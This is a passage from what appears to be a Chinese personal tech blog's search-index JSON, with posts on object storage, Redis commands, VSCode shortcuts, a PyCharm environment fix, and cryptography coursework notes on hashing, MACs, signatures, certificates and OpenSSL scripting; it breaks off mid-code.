国内的各大云厂商的对象存储服务文档对他们的产品都介绍的挺详细的，我看了火山引擎TOS和Azure的存储服务，Azure的冗余服务在TOS中叫做多AZ冗余服务，大同小异，没有实际自己用过。国内云厂商对于学生的支持感觉还是不够，想要用还是得要自己掏钱，希望未来各大厂商还是能支持以下学生发展，积累一些企业口碑。","title":"关于对象存储"},{"content":"快速了解Redis Redis是什么？为什么要使用Redis？他有什么好处和优势？他的弊端又有哪些呢？他的基本模型和技术有哪些？\nRedis是什么？ Redis（Remote Dictionary Server）是一种开源的内存数据存储系统，它可以用作数据库、缓存和消息代理。它被设计用于快速访问、存储和分析数据，以及支持各种数据结构，如字符串、哈希表、列表、集合、有序集合等。Redis支持持久化，可以将数据保存在磁盘上，以便在重启后恢复数据。\n为什么要使用Redis？ Redis有许多优点，使其成为广泛使用的数据存储和缓存解决方案：\n优势 快速访问： Redis数据存储在内存中，因此具有非常快速的读写性能，适合用作缓存层，加速数据访问。 丰富的数据结构： Redis不仅支持简单的键值存储，还支持多种数据结构，如列表、集合、有序集合等，这使得它适用于更多不同类型的应用场景。 持久化： Redis支持数据的持久化，可以将数据保存在磁盘上，以便在服务器重启后恢复数据。 分布式架构： Redis支持分布式集群，可以将数据分散在多个节点上，提高数据的可用性和性能。 发布/订阅： Redis具有消息代理功能，可以用于发布和订阅消息，支持实时数据推送和通知。 事务支持： Redis支持事务，允许一系列操作以原子方式执行，保证数据的一致性。 弊端 内存消耗： Redis的数据存储在内存中，因此对于大规模数据集可能会占用大量内存。尽管有持久化选项，但内存仍然是其主要的存储介质。 单线程： Redis在单个进程中使用单线程处理所有的命令请求。这在某些高并发情况下可能成为性能瓶颈。 基本模型和技术 键值存储： Redis的基本模型是键值存储，您可以使用键来检索存储在Redis中的数据。 数据结构： Redis支持字符串、哈希表、列表、集合、有序集合等多种数据结构，使其非常灵活。 持久化： Redis支持两种持久化方式，分别是快照（snapshotting）和日志（append-only file）。 发布/订阅： Redis支持发布/订阅模式，允许客户端订阅特定的频道并接收实时消息。 分布式： Redis可以通过分片或复制来构建分布式架构，提高可用性和扩展性。 Redis vs. MySQL 性能比较 读写性能： Redis在内存中存储数据，因此具有非常快速的读写性能，尤其适合高并发读取和写入场景。与此相比，MySQL可能受到磁盘IO和索引的影响，其读写性能相对较低。 数据结构： Redis支持多种数据结构，使其适合用于更复杂的数据模型，如实时计数、排行榜、分布式锁等。MySQL虽然也支持多种数据类型，但通常用于结构化数据的存储。 缓存： Redis非常适合用作缓存层，可以减轻数据库的负载，提高数据访问速度。MySQL也可以用作缓存，但Redis的读取速度更快。 事务和持久化： Redis支持事务，但它的事务模型不如MySQL严格。MySQL提供强大的事务支持和多种持久化选项。 适用领域和场景 Redis适合场景 实时数据：例如实时计数、统计信息和分析。 缓存：用作高速缓存，提高数据访问速度。 实时消息：发布/订阅模式用于实时消息传递。 会话存储：存储用户会话数据，适用于分布式系统。 分布式锁：实现分布式锁以协调多个系统的并发操作。 MySQL适合场景 结构化数据：适用于关系型、事务性的结构化数据。 复杂查询：支持复杂的查询和连接操作。 大规模数据存储：适合大规模数据存储和管理。 强大事务：需要强大的事务支持和ACID特性。 Redis和MySQL有各自独特的优势和用途，它们并不是直接替代关系。Redis可以在某些情况下用来增强项目性能，或者作为辅助数据库来存储特定类型的数据，例如缓存、会话、排行榜等。然而，对于需要复杂查询、关联性和事务的应用，Redis并不是MySQL的替代品。对于大部分应用，两者可以共同使用，以发挥各自的优势，构建更高效的系统。\nRedis基本命令 现在很多大公司的后端服务都是基础存储服务+Redis缓存的形式，使用Redis进行缓存很大程度上提高了服务的效率，当然也存在缓存穿透、缓存雪崩的问题，但是在此之前还是要从Redis的基础命令开始学习掌握，所以在这里整理了Redis常用的命令。\n字符串 在Redis中，字符串可以存储以下3中类型的值：字节串（byte string），整数，浮点数。\n自增自减命令 INCR key-name：将键存储的值加上1\nDECR key-name：将键存储的值减去1\nINCRBY key-name amount：将键存储的值加上整数amount\nDECRBY key-name amount：将键存储的值减去整数amount\nINCRBYFLOAT key-name amount：将键存储的值价上浮点数amount，版本2.6以上可用\n处理子串命令 APPEND key-name value：将value追加到key-name末尾\nGETRANGE key-name start end：获取一个从start到end（包括）的子串\nSETRANGE key-name offset value：将key-name的第offset位（从左到右，从0开始数）开始，设置成value\n二进制位命令 GETBIT key-name offset：获取偏移量为offset的二进制位的值\nSETBIT key-name offset value：将偏移量为offset的二进制位的值设置为value\nBITCOUNT key-name [start end]：统计二进制串中1的个数，范围可选\nBITOP operation dest-key key-name [key-name ...]，对key-name进行操作（operation可以为AND,OR,XOR,NOT）,将结果存储在dest-key中\n列表 常用命令 RPUSH key-name value [value ...]：将一个值或多个值推入列表右侧\nLPUSH key-name value [value ...]：将一个或多个值推入列表左侧\nRPOP key-name：从列表最右侧移除并返回一个元素\nLPOP key-name：从列表最左侧移除并返回一个元素\nLINDEX key-name offset：返回列表中偏移量为offset的元素\nLRANGE key-name start end：返回列表中从偏移量为start到end的元素，包括start和end\nLTRIM key-name start end：对列表进行修剪，只保留从偏移量为start到end范围内的元素，包括start和end\n集合 常用命令 SADD key-name item [item ...]：将一个元素或者多个元素添加到集合里面，并返回添加元素当中原本并不存在于集合里面的元素数量\nSREM key-name item [item ...]：从集合里面移除一个或者多个元素，并返回移除元素的数量\nSISMEMBER key-name item：检查元素item是否存在于集合key-name里\nSCARD key-name：返回集合中包含的元素数量\nSMEMBERS key-name：返回集合包含的所有元素\nSRANDMEMBER key-name [count]：随机返回一个或多个元素，当count为整数的时候，命令返回的随机元素不会重复，负数时则可能会出现重复\nSPOP key-name：随机地从集合中一出一个元素，并返回被移除的元素\nSMOVE source-key dest-key item：如果source-key中包含item，则从source-key中移除元素item，并添加到dest-key中。如果item被成功移除命令返回1，否则返回0\n散列 常用命令 HEXISTS key-name key：检查给定键是否存在于散列中\nHKEYS key-name：获取散列包含的所有键\nHVALS key-name：获取散列包含的所有值\nHGETALL key-name：获取散列包含的所有键值对\nHINCRBY key-name key increment：将键key存储的值加上整数increment\nHINCRBYFLOAT key-name key increment：将键key存储的值加上浮点数increment\n有序集合 常用命令 ZADD key-name score member [score member ...]：将带有给定分值的成员添加到有序集合里面\nZREM key-name member [member ....]：从有序集合里面移除给定成员，并返回被移除成员的数量\nZCARD key-name：返回有序集合包含的成员数量\nZINCRYBY key-name increment member：将member成员的分值加上increment\nZCOUNT key-name min max：返回分值介于min和max之间的成员数量\nZRANK key-name member：返回成员member在有序集合的排名\nZSCORE key-name member：返回成员member的分值\nZRANGE key-name start stop [WITHSCORES]：返回有序集合中排名介于start和stop之间的成员，如果给定年了可选的WITHSCORES选项，那么命令会将成员的分值一并返回\n有序集合的范围性数据 ZREVRANK key-namemember：返回有序集合里成员member的排名，成员按照分值 从大到小排列\nZREVRANGE key-name start stop[WITHSCORES]：返回有序集合给定排名范围内 的成员，成员按照分值从大到小排列\nZRANGEBYSCORE key min max [WITHSCORES] [LIMIT offset count]：返回 有序集合中，分值介于min和max之间的所有成员 获取有序集合中分值介于min和max之间的所有成员，并按照分值从大到小的顺序来返 回它们\nZREMRANGEBYRANK key-name start stop ：移除有序集合中排名介于start和stop 之间的所有成员\nZREMRANGEBYSCORE key-name min max：移除有序集合中分值介于min和max之间的所有成员\nZINTERSTORE dest-key key-count key [key ...] [WEIGHTS weight[weight ...]] [AGGREGATE SUMIMIN|MAX]：对给定的有序集合执行类似于集合的交集运算\nZUNIONSTORE dest-key key-count key [key ...] [WEIGHTS weight[weight ...]] [AGGREGATE SUM|MIN|MAX]：对给定的有序集合执行类似于集合的并集运算\n其他命令 排序 SORT source-key [BY pattern] [LIMIT offset count] [GET pattern [GET pattern ...]] [ASCIDESC] [ALPHA] [STORE dest-key]：根据给定的选项，对输入列表、集合或者有序集合进行排序，然后返回或者存储排序的结果\n处理过期时间 PERSIST key-name：移除键的过期时间\nTTLkey-name：查看给定键距离过期还有多少秒\nEXPIRE key-nameseconds：让给定键在指定的秒数之后过期\nEXPIREAT key-nametimestamp：将给定键的过期时间设置为给定的UNIX时间戳\nPTTLkey-name：查看给定键距离过期时间还有多少毫秒，这个命令在Redis2.6或以上版本可用\nPEXPIRE key-name milliseconds ：让给定键在指定的毫秒数之后过期，这个命令在Redis2.6 或以上版本可用\nPEXPIREAT key-name timestamp-milliseconds：将一个毫秒级精度的UNIX时间戳设置 为给定键的过期时间，这个命令在Redis2.6或以上版本可用\n","permalink":"https://sirius2alpha.github.io/posts/notes/2-areas/%E6%8A%80%E6%9C%AF%E6%A0%88/%E6%95%B0%E6%8D%AE%E5%BA%93/use-redis/","summary":"快速了解Redis Redis是什么？为什么要使用Redis？他有什么好处和优势？他的弊端又有哪些呢？他的基本模型和技术有哪些？\nRedis是什么？ Redis（Remote Dictionary Server）是一种开源的内存数据存储系统，它可以用作数据库、缓存和消息代理。它被设计用于快速访问、存储和分析数据，以及支持各种数据结构，如字符串、哈希表、列表、集合、有序集合等。Redis支持持久化，可以将数据保存在磁盘上，以便在重启后恢复数据。\n为什么要使用Redis？ Redis有许多优点，使其成为广泛使用的数据存储和缓存解决方案：\n优势 快速访问： Redis数据存储在内存中，因此具有非常快速的读写性能，适合用作缓存层，加速数据访问。 丰富的数据结构： Redis不仅支持简单的键值存储，还支持多种数据结构，如列表、集合、有序集合等，这使得它适用于更多不同类型的应用场景。 持久化： Redis支持数据的持久化，可以将数据保存在磁盘上，以便在服务器重启后恢复数据。 分布式架构： Redis支持分布式集群，可以将数据分散在多个节点上，提高数据的可用性和性能。 发布/订阅： Redis具有消息代理功能，可以用于发布和订阅消息，支持实时数据推送和通知。 事务支持： Redis支持事务，允许一系列操作以原子方式执行，保证数据的一致性。 弊端 内存消耗： Redis的数据存储在内存中，因此对于大规模数据集可能会占用大量内存。尽管有持久化选项，但内存仍然是其主要的存储介质。 单线程： Redis在单个进程中使用单线程处理所有的命令请求。这在某些高并发情况下可能成为性能瓶颈。 基本模型和技术 键值存储： Redis的基本模型是键值存储，您可以使用键来检索存储在Redis中的数据。 数据结构： Redis支持字符串、哈希表、列表、集合、有序集合等多种数据结构，使其非常灵活。 持久化： Redis支持两种持久化方式，分别是快照（snapshotting）和日志（append-only file）。 发布/订阅： Redis支持发布/订阅模式，允许客户端订阅特定的频道并接收实时消息。 分布式： Redis可以通过分片或复制来构建分布式架构，提高可用性和扩展性。 Redis vs. MySQL 性能比较 读写性能： Redis在内存中存储数据，因此具有非常快速的读写性能，尤其适合高并发读取和写入场景。与此相比，MySQL可能受到磁盘IO和索引的影响，其读写性能相对较低。 数据结构： Redis支持多种数据结构，使其适合用于更复杂的数据模型，如实时计数、排行榜、分布式锁等。MySQL虽然也支持多种数据类型，但通常用于结构化数据的存储。 缓存： Redis非常适合用作缓存层，可以减轻数据库的负载，提高数据访问速度。MySQL也可以用作缓存，但Redis的读取速度更快。 事务和持久化： Redis支持事务，但它的事务模型不如MySQL严格。MySQL提供强大的事务支持和多种持久化选项。 适用领域和场景 Redis适合场景 实时数据：例如实时计数、统计信息和分析。 缓存：用作高速缓存，提高数据访问速度。 实时消息：发布/订阅模式用于实时消息传递。 会话存储：存储用户会话数据，适用于分布式系统。 分布式锁：实现分布式锁以协调多个系统的并发操作。 MySQL适合场景 结构化数据：适用于关系型、事务性的结构化数据。 复杂查询：支持复杂的查询和连接操作。 大规模数据存储：适合大规模数据存储和管理。 强大事务：需要强大的事务支持和ACID特性。 Redis和MySQL有各自独特的优势和用途，它们并不是直接替代关系。Redis可以在某些情况下用来增强项目性能，或者作为辅助数据库来存储特定类型的数据，例如缓存、会话、排行榜等。然而，对于需要复杂查询、关联性和事务的应用，Redis并不是MySQL的替代品。对于大部分应用，两者可以共同使用，以发挥各自的优势，构建更高效的系统。\nRedis基本命令 现在很多大公司的后端服务都是基础存储服务+Redis缓存的形式，使用Redis进行缓存很大程度上提高了服务的效率，当然也存在缓存穿透、缓存雪崩的问题，但是在此之前还是要从Redis的基础命令开始学习掌握，所以在这里整理了Redis常用的命令。\n字符串 在Redis中，字符串可以存储以下3中类型的值：字节串（byte string），整数，浮点数。\n自增自减命令 INCR key-name：将键存储的值加上1","title":"Redis常用指令"},{"content":"VScode快捷键 快捷键 功能 Shift + Alt + F 格式化文档 Format document Ctrl+X 剪切行（空选定） Cut line (empty selection) Ctrl+C 复制行（空选定）Copy line (empty selection) Ctrl+Shift+K 删除行 Delete line Alt+ ↑ / ↓ 向上/向下移动行 Move line up/down Shift+Alt + ↓ / ↑ 向上/向下复制行 Copy line up/down Ctrl+Enter 在下面插入行 Insert line below Ctrl+Shift+Enter 在上面插入行 Insert line above F12 转到定义 Go to Definition Alt + F12 Peek定义 Peek Definition Ctrl + Shift + P，F1 显示命令面板 Show Command Palette pycharm中找不到包的问题 对于pycharm中虚拟环境，下面的目录没有在pycharm中终端安装上的包\n1.\t在pycharm中终端允许脚本运行\n运行以下命令以查看执行策略的当前设置：\nGet-ExecutionPolicy 如果策略设置为 Restricted，请运行以下命令将其更改为 RemoteSigned：\nSet-ExecutionPolicy RemoteSigned 运行以下命令以启用您的更改：\nSet-ExecutionPolicy -Scope CurrentUser 设置成功之后，在终端中会出现\n(venv311) PS E:\\python_information_srcuirty\u0026gt;` 如果要填写参数就写RemoteSigned\n","permalink":"https://sirius2alpha.github.io/posts/notes/3-resources/%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/pycharm-not-found-packages/","summary":"VScode快捷键 快捷键 功能 Shift + Alt + F 格式化文档 Format document Ctrl+X 剪切行（空选定） Cut line (empty selection) Ctrl+C 复制行（空选定）Copy line (empty selection) Ctrl+Shift+K 删除行 Delete line Alt+ ↑ / ↓ 向上/向下移动行 Move line up/down Shift+Alt + ↓ / ↑ 向上/向下复制行 Copy line up/down Ctrl+Enter 在下面插入行 Insert line below Ctrl+Shift+Enter 在上面插入行 Insert line above F12 转到定义 Go to Definition Alt + F12 Peek定义 Peek Definition Ctrl + Shift + P，F1 显示命令面板 Show Command Palette pycharm中找不到包的问题 对于pycharm中虚拟环境，下面的目录没有在pycharm中终端安装上的包","title":"pycharm中找不到包的问题"},{"content":"1.\t加密与认证 任务 采用Java/Python语言编写一个较为完整的加密与认证程序，要求具有：\n具有较完整的图形化界面； 使用MD5、SHA系列算法，实现消息摘要，确保消息的完整性； 使用DES、AES等算法实现对称加密，确保消息的机密性； 使用RSA算法，实现公钥加密，且用私钥解密，比较不对称加密和对称加密的性能； 实现基于数字证书的数字签名和验证（含证书的生成和创建）； 1.1\t消息摘要 1.1.1\t消息摘要的作用 在网络安全目标中，要求信息在生成、存储或传输过程中保证不被偶然或蓄意地删除、修改、伪造、乱序、重放、插入等破坏和丢失，因此需要一个较为安全的标准和算法，以保证数据的完整性。\n常见的消息摘要算法有： Ron Rivest设计的MD（Standard For Message Digest，消息摘要标准）算法 NIST设计的SHA（Secure Hash Algorithm，安全散列算法）\n1.1.2\t单向散列函数 1\t特点 不定长的输入和定长的输出；\n对于及其微小的变化，如1bit的变化，器哈希函数所产生的值也差异巨大；\n对于不同的原像都有不同的映像，从散列值不可能推导出消息M ，也很难通过伪造消息M’来生成相同的散列值。\nHash函数的值称为作为自变量的消息的“散列值”或“消息摘要”、“数字指纹”\n2\t哈希函数的分类 1.根据安全水平 弱无碰撞 强无碰撞 ​\t注：强无碰撞自然含弱无碰撞！\n2.根据是否使用密钥 带秘密密钥的Hash函数：消息的散列值由只有通信双方知道的秘密密钥K来控制，此时散列值称作MAC(Message Authentication Code) 不带秘密密钥的Hash函数：消息的散列值的产生无需使用密钥，此时散列值称作MDC(Message Detection Code) 3\t哈希函数的应用 由Hash函数产生消息的散列值 以消息的散列值来判别消息的完整性 用加密消息的散列值来产生数字签名 用口令的散列值来安全存储口令（认证系统中的口令列表中仅存储口令的Hash函数值，以避免口令被窃取。认证时用输入口令的Hash函数值与其比较） 4\t安全哈希函数的实现 输入数据分成L个长度固定为r的分组：M=(M1,M2,…,ML) 末组附加消息的长度值并通过填充凑足r位 压缩函数 f使用n位的链接变量Hi ,其初值H0=IV可任意指定 压缩函数 f的最后n位输出HL取作散列值 5\t哈希函数：生日攻击 当哈希函数的输入位数太短的时候，就容易产生哈希碰撞，即出现两个原像对应用一个映像的问题。\n生日问题 一个教室中至少有几个学生才能使有两个学生生日相同的概率不小于1/2； 等价于“球匣问题” 设J个球随机扔进N个匣子，存在一个匣子中至少有两个球的概率为p，则可以推导出: J2≈-2Nln(1-p)或 p≈ 1-e-J2/2/N 答案 将365个生日看作N=365个匣子，将学生看作球，p=0.5，则由上式可算出J≈23，即23个学生中有两个学生生日相同的概率不小于1/2；\n生日攻击实例：\n​\t假设张三承诺支付李四100万，约定由李四负责起草合同，并通过8位的散列码H(M)实施信息认证。聪明而无德的李四先起草一个100万的版本，并通过变化其中3个无关紧要之处以得到23=8个不同的消息明文并计算它们的H(M)，形成集合A；然后再起草一个200万的版本，用同样方法又得到23=8 个不同的消息明文及其H(M)，形成集合B。 ​\t由生日问题知：24个8位比特串中发生碰撞的概率不小于1/2，故在A和B共24 =16个H(M)中有可能存在相同的一对，并极有可能一个在A中而另一个在B中。假设与它们对应的明文为MA （100万版） 和MB （200万版） 。于是李四用MA让张三签署并公证，而在传送时偷偷地用MB替代MA 。由于H(MA)= H(MB)，故张三确信签署的文件未被篡改。当李四要求张三支付200万时，法院根据MB判李四胜诉，而张三因此损失100万。\n1.1.3\tMD5算法 Merkle于1989年提出hash function模型 Ron Rivest于1990年提出MD4 1992年， Ron Rivest提出MD5（RFC 1321） 在最近数年之前，MD5是最主要的hash算法 现行美国标准SHA-1以MD5的前身MD4为基础\n输入：任意长度消息 输出：128bit消息摘要（16字节编码，32字符） 处理：以512bit输入数据块为单位\n1.1.4\tSHA安全散列算法 1992年NIST制定了SHA（128位） 1993年SHA成为标准（FIPS PUB 180） 1994年修改产生SHA-1（160位） 1995年SHA-1成为新的标准，作为SHA-1（FIPS PUB 180-1/RFC 3174），为兼容AES的安全性，NIST发布FIPS PUB 180-2，标准化SHA-256， SHA-384和SHA-512\n输入：消息长度\u0026lt;264 输出：160bit消息摘要 处理：以512bit输入数据块为单位 基础是MD4\nSHA算法的拓展 SHA-256 摘要大小由SHA-1的160位扩大到256位 SHA-384 消息大小由SHA-1的264位扩大到2128位 分组大小由SHA-1的512位扩大到1024位 字长由SHA-1的32位（双字）扩大到64位（4字） 摘要大小由SHA-1的160位扩大到384位 SHA-512 摘要大小由SHA-384的384位扩大到512位\n1.1.5\t消息摘要的安全隐患 隐患：无法完全阻止数据的修改。\n如果在数据传递过程中，窃取者将数据窃取出来，并且修改数据，再重新生成一次摘要，将改后的数据和重新计算的摘要发送给接收者，接收者利用算法对修改过的数据进行验证时，生成的消息摘要和收到的消息摘要仍然相同，消息被判断为“没有被修改”。\n做法：除了需要知道消息和消息摘要之外，还需要知道发送者身份\u0026mdash;消息验证码。\n1.2\t消息认证 用于对抗信息主动攻击之一：消息伪造或篡改 目的之一：验证信息来源的真实性 目的之二：验证信息的完整性\n消息认证的模型\n消息认证的方式\n加密认证──用消息的密文本身充当认证信息 消息加密的认证；私钥加密公钥解密；公钥私钥双重加解密 消息认证码MAC(Message Authentication Code)──由以消息和密钥作为输入的公开函数产生的认证信息 简单MAC认证；基于明文认证；基于密文认证 散列值──由以消息作为唯一输入的散列函数产生的认证信息（无需密钥） 6种常用的方式 消息验证码的局限性\n消息验证码可以保护信息交换双方不受第三方的攻击，但是它不能处理通信双方的相互攻击 信宿方可以伪造消息并称消息发自信源方，信源方产生一条消息，并用和信宿方共享的密钥产生认证码，并将认证码附于消息之后 信源方可以否认曾发送过某消息，因为信宿方可以伪造消息，所以无法证明信源方确实发送过该消息\n在收发双方不能完全信任的情况下，引入数字签名来解决上述问题\n1.2.1 基于消息加密的认证 1.\t用对称密码体制进行加密认证 过程──用同一密钥加密、解密消息 作用──认证+保密 原理──攻击者无法通过改变密文来产生所期望的明文变化 特点──接收方需要判别消息本身的逻辑性或合法性。“我请你吃饭”被乱改成“我请你謯斸” 对称加密实现：AES算法 # AES对称加密 password = b\u0026#39;1234567812345678\u0026#39; # 秘钥，b就是表示为bytes类型 text = b\u0026#39;abcdefghijklmnhi\u0026#39; # 需要加密的内容，bytes类型 aes = AES.new(password, AES.MODE_ECB) # 创建一个aes对象 # AES.MODE_ECB 表示模式是ECB模式 en_text = aes.encrypt(text) # 加密明文 print(\u0026#34;密文：\u0026#34;, en_text) # 加密明文，bytes类型 den_text = aes.decrypt(en_text) # 解密密文 print(\u0026#34;明文：\u0026#34;, den_text) 2.\t私钥加密，公钥解密 过程──发送者用自己的私钥加密明文、接收者用发送者的公钥解密密文 作用──认证及签名，但不保密 原理──因不知发送者的私钥，故其他人无法产生密文或伪造签名 ​\t注意：若用公钥加密、私钥解密，则无法起到认证的作用。因为知道公钥的人都可以通过产生伪造的密文来篡改消息。\n​\t私钥加密，公钥解密，只有私钥的拥有者才能加密，适用于数字签名，用于验证身份。\n​\t公钥加密，私钥解密，保证了消息的传送的保密性\n​\t两者都是不对成加密\n​\t混合加密是将**共享密钥加密（对称加密）和公开密钥加密（不对称加密）**结合起来的加密方式。\n公开密钥算法实现：RSA算法 3.\t用私钥、公钥双重加密、解密 过程──发送者先用自己的私钥加密明文，再用接收者的公钥加密一次；接收者先用自己的私钥解密密文，再用发送者的公钥解密一次 作用──认证、签名，且保密 原理──认证、签名由发送者的私钥加密实现；保密性由接收者的公钥加密保证 1.2.2\t消息验证码MAC 计算消息验证码的常用算法有HMAC算法\n产生──发送者以消息M和与接收者共享的密钥K为输入，通过某公开函数C进行加密运算得到MAC 传送并接收──M+MAC 认证──接收者以接收到的M和共享密钥K为输入，用C（公开函数）重新加密算得MAC’ ，若MAC’=MAC，则可确信M未被篡改 作用──认证，但不保密 消息验证码和MD5/SHA1算法不同的地方\n在生成摘要时，发送者和接收者都拥有一个共同的密钥。 该密钥可以是通过对称密码体系生成的，事先被双方共有，在生成消息验证码时，还必须要有密钥的参与。 只有同样的密钥才能生成同样的消息验证码。 1.2.3\t基于散列值的认证 1、对附加了散列值的消息实施对称加密，得到并发送Ek(M+H(M)) 认证+保密 2、仅对散列值实施对称加密，得到Ek(H(M))，并与M一起发送 认证+不保密 3、对散列值实施私钥加密，得到EKRa(H(M))并与M一起发送 认证+签名，不保密\n4、将消息与用私钥加密后的散列值一起再用共享密钥加密，最后得到Ek(M+EKRa(H(M)))并发送 认证+签名+保密 5、将消息串接一个由通信各方共享的密值S后计算散列值，得到H(M+S)并与M一起发送 认证，不保密 6、先将消息串接一个由通信各方共享的密值S后计算散列值，再将它与消息M一起用共享密钥加密，最后得到Ek(M+H(M+S))并发送 认证+保密\n1.3\t数字签名 1.3.1\t数字签名的概念和作用 1.3.2\t数字签名的特点 数字签名必须具有下述特征 收方能够确认或证实发方的签名，但不能伪造，简记为R1-条件（unforgeable） 发方发出签名的消息给收方后，就不能再否认他所签发的消息，简记为S-条件(non-repudiation) 收方对已收到的签名消息不能否认，即有收报认证，简记作R2-条件 第三者可以确认收发双方之间的消息传送，但不能伪造这一过程，简记作T-条件\n1.3.3\t数字签名与消息认证的区别 1.3.4\t数字签名分类与常用算法 根据签名的内容分\n对整体消息的签名 对压缩消息的签名 按明、密文的对应关系划分\n确定性(Deterministic)数字签名，其明文与密文一一对应，它对一特定消息的签名不变化，如RSA、Rabin等签名； 随机化的(Randomized)或概率式数字签名 数字签名常用算法\n普通数字签名算法\nRSA ElGamal /DSS/DSA ECDSA 盲签名算法 群签名算法\nRSA算法的签名过程和实现过程\n1.4\t数字证书 1.4.1\t数字证书的作用 ​\t任何的密码体制都不是坚不可摧的，公开密钥体制也不例外。由于公开密钥体制的公钥是对所有人公开的，从而免去了密钥的传递，简化了密钥的管理。 ​\t但是这个公开性在给人们带来便利的同时，也给攻击者冒充身份篡改公钥有可乘之机。所以，密钥也需要认证，在拿到某人的公钥时，需要先辨别一下它的真伪。这时就需要一个认证机构，将身份证书作为密钥管理的载体，并配套建立各种密钥管理设施。\n1.4.2\t数字证书的定义 数字证书（Digital Certificate）又称为数字标识（Digital ID）。它提供一种在Internet上验证身份的方式，是用来标志和证明网络通信双方身份的数字信息文件。\n1.4.3\t数字证书的内容 最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。一般情况下证书中还包括密钥的有效时间，发证机关(证书授权中心)的名称，该证书的序列号等信息，证书的格式遵循ITU-T X.509国际标准。\n一个标准的X.509数字安全证书包含以下一些内容： （1）证书的版本号。不同的版本的证书格式也不同，在读取证书时首先需要检查版本号。 （2）证书的序列号。每个证书都有一个唯一的证书序列号。 （3）证书所使用的签名算法标识符。签名算法标识符表明数字签名所采用的算法以及使用的参数。 （4）证书的发行机构名称。创建并签署证书的CA的名称，命名规则一般采用X.500格式。 （5）证书的有效期。证书的有效期由证书有效起始时间和终止时间来定义。 （6）证书所有人的名称。命名规则一般采用X.500格式； （7）证书所有人的公开密钥及相关参数。相关参数包括加密算法的标识符及参数等 （8）证书发行机构ID。这是版本2中增加的可选字段。 （9）证书所有人ID。这是版本2中增加的可选字段。 （10）扩展域。这是版本3中增加的字段，它是一个包含若干扩展字段的集合。 （11）证书发行机构对证书的签名，即CA对证书内除本签名字段以外的所有字段的数字签名。\n1.4.4\t认证中心 CA（Certificate Authority，认证中心）作为权威的、可信赖的、公正的第三方机构，专门负责发放并管理所有参与网上交易的实体所需的数字证书。\nCA作为一个权威机构，对密钥进行有效地管理，颁发证书证明密钥的有效性，并将公开密钥同某一个实体（消费者、商户、银行）联系在一起。\nCA的主要职责\n（1）颁发证书：如密钥对的生成、私钥的保护等，并保证证书持有者应有不同的密钥对。 （2）管理证书：记录所有颁发过的证书，以及所有被吊销的证书。 （3）用户管理：对于每一个新提交的申请，都要和列表中现存的标识名相比较，如出现重复，就给予拒绝。 （4）吊销证书：在证书有效期内使其无效，并发表CRL（Certificate Revocation List，被吊销的证书列表） （5）验证申请者身份：对每一个申请者进行必要的身份认证。 （6）保护证书服务器：证书服务器必须安全的，CA应采取相应措施保证其安全性。 （7）保护CA私钥和用户私钥：CA签发证书所用的私钥要受到严格的保护，不能被毁坏，也不能被非法使用。同时，根据用户密钥对的产生方式，CA在某些情况下有保护用户私钥的责任。 （8）审计和日志检查：为了安全起见，CA对一些重要的操作应记入系统日志。在CA发生事故后，要根据系统日志做善后追踪处理――审计，CA管理员要定期检查日志文件，尽早发现可能的隐患。\nCA的基本组成\n认证中心主要有三个部分组成\n注册服务器（RS）：面向用户，包括计算机系统和功能接口； 注册中心（RA）：负责证书的审批； 认证中心（CA）：负责证书的颁发，是被信任的部门 一个完整的安全解决方案除了有认证中心外，一般还包括以下几个方面：\n密码体制的选择\n安全协议的选择\nSSL（Secure Socket Layer 安全套接字层）\nS-HTTP（Secure HTTP，安全的http协议）\nSET（Secure Electonic Transaction，安全电子交易协议）\nCA的三层体系结构\n第一层为RCA（Root Certificate Authority，根认证中心）。它的职责是负责制定和审批CA的总政策，签发并管理第二层CA的证书，与其它根CA进行交叉认证。 第二层为BCA（Brand Certificate Authority，品牌认证中心）。它的职责是根据RCA的规定，制定具体政策、管理制度及运行规范；签发第三层证书并进行证书管理。 第三层为ECA（End user CA，终端用户CA）。它为参与电子商务的各实体颁发证书。签发的证书可分为三类：分别是支付网关（Payment Gateway）、持卡人（Cardholder）和商家（Merchant）签发的证书；签发这三种证书的CA对应的可称之为PCA、CCA和MCA。 【任务完成】 主要是采用OpenSSL命令行操作完成的，虽然使用python写的代码，不过还是是通过系统调用命令的方式进行的。\nimport os def input_message(): text = input(\u0026#34;请输入一段文字，用于加密：\u0026#34;) fh = open(\u0026#34;message.txt\u0026#34;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) fh.write(text) fh.close() # 使用md5生成摘要 def dgst_md5(file): \u0026#39;\u0026#39;\u0026#39;file表示文件名+后缀，输出：dgst_file.txt\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl dgst -md5 -out dgst_\u0026#34; + file + \u0026#34;.txt \u0026#34; + file os.system(command) # 生成私钥 def key_generate(name): \u0026#39;\u0026#39;\u0026#39;name表示私钥名字，私钥长度为2048，输出为name_prikey.pem\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl genrsa -out \u0026#34; + name + \u0026#34;_prikey.pem\u0026#34; os.system(command) # 生成公钥 def key_public(prikey, name): \u0026#39;\u0026#39;\u0026#39;prikey表示私钥的名字，输出为name_pubkey.pem openssl pkey -in key.pem -pubout -out pubkey.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkey -in \u0026#34; + prikey + \u0026#34;.pem -pubout -out \u0026#34; + name + \u0026#34;_pubkey.pem\u0026#34; os.system(command) # 签名 def sign(file, key): \u0026#39;\u0026#39;\u0026#39;file表示要签名的文件的名字，key表示签名所用到的私钥，输出为file.sig openssl pkeyutl -sign -in message.txt -inkey key.pem -out message.sig\u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkeyutl -sign -in \u0026#34; + file + \u0026#34;.txt -inkey \u0026#34; + key + \u0026#34;.pem -out \u0026#34; + file + \u0026#34;.sig\u0026#34; os.system(command) # 验证签名 def verify(file, signature, pubkey): \u0026#39;\u0026#39;\u0026#39; signature表示签名文件，key表示公钥, openssl pkeyutl -verify -in message.txt -sigfile message.sig -pubin -inkey pubkey.pem \u0026#39;\u0026#39;\u0026#39; command = \u0026#34;openssl pkeyutl -verify -in \u0026#34; + file + \u0026#34; -sigfile \u0026#34; + signature + \u0026#34;.sig -pubin -inkey \u0026#34; + pubkey + \u0026#34;.pem\u0026#34; os.system(command) # 普通公钥请求证书 def req_cert(prikey): \u0026#39;\u0026#39;\u0026#39; prikey表示source的私钥，采用的是source.cnf中的配置信息，输出为source.csr openssl req -new -key 